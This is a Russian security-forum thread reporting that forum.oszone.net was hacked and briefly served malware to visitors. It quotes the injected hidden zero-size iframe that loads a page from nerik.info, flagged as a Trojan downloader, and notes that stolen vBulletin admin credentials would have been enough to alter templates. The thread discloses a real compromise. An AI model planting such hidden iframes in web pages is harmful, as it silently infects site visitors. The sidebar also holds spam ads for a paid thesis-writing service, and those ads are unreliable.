vaber

Вредносный скрипт на forum.oszone.net

В этой теме 5 сообщений

На этом форуме http://forum.oszone.net/ встроен вредоносный скрипт

<iframe src="http://nerik.info/Alex/index.php" width="0" height="0" style="display:none"></iframe>

Веб-антивирус Касперского детектирует наличие скрипта при посещении данного сайта и позволяет его блокировать (обнаружено: троянская программа Trojan-Downloader.VBS.Psyme.fc URL: hxxp://nerik.info/Alex/index.php//Crypt.DCScript).

Вероятно сайт был взломан и злоумышленник разместил свой скрипт.

На данный момент скрипт удален.

Но как минимум сутки он пробыл, а вероятно и больше.

http://forum.kaspersky.com/index.php?showt...mp;#entry314232

Причем постоянно на озоновском форуме находиться более полутысячи человек.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Эээ нет он меньше суток был, его пофиксили, потом опять кто-то залил..

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Эээ нет он меньше суток был, его пофиксили, потом опять кто-то залил..

Меньше суток с того момента, когда на http://forum.kaspersky.com разместили данную информацию. Сколько он до этого там находился - неизвестно.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

на газоне думаю это быстро обнаружилось..

хотя небуду спорить малоли чего и где было..

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Форум у них на движке vBulletin.

Досточно было получить учетные данные админа, чтобы внести изменения в html-шаблоны форума/

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Создайте учетную запись или войдите, чтобы комментировать

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!


Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.


Войти с помощью Facebook Войти Войти с помощью Twitter
Anti-Malware.ru Вконтакте   Anti-Malware.ru в Facebook   Anti-Malware.ru в Twitter   Anti-Malware.ru в LinkedIn   RSS
  • Сообщения

    • Openair
    • Ego Dekker
      Декабрь 2019 — дата окончания жизненного цикла ESET NOD32/ESET Smart Security 9.0.
    • demkd
      драйверу не нужно заниматься такой ерундой как сплайсинг, просто запись в реестре не была скрыта, не доделали руткит.
    • Ольга_diplombest
      Высшее образование — сегодня это головная боль. Хотя каждый молодой человек стремиться его получить, как залог хорошей работы и высокой зарплаты в будущем. Но ВУЗы уже перестали быть бесплатными, поэтому получить образование можно только за деньги. Поэтому все чаще портрет современного студента — это работающий человек, который совмещает работу с учебой и еще имеющий семью. К тому же ссесия, написание рефератов. Курсовых работ или защита диплома — это настоящее испытание требующее много времени и сил.Необходимо время на поиск материала диплома,  написание работы, а еще семья и работа —и вот времени не хватает. При этом все успеть, порой физически бывает не возможно. И вот студент думает выхода нет и заваливает ссесию, бросает ВУЗ. Но выход есть, воспользоваться профессиональными преподавателями, аспирантами, докторами наук ... ка сделали уже многие студенты — https://diplombest.ru/сайт для тех, кто ценит время и бережет нервы. Компания работает без предоплаты, что гарантирует получение качественной работы в срок и без рисков для студента, политика скидок позволяет экономить до 50% от стоймости работы, что заслуживает доверия со стороны студентаТогда получение высшего образования будет в радость и через 5 лет ты уже заслуженный специалист.
    • Ольга_diplombest
      Я да не плохие деньги. Я то пользовалась https://diplombest.ru/. роде не плохо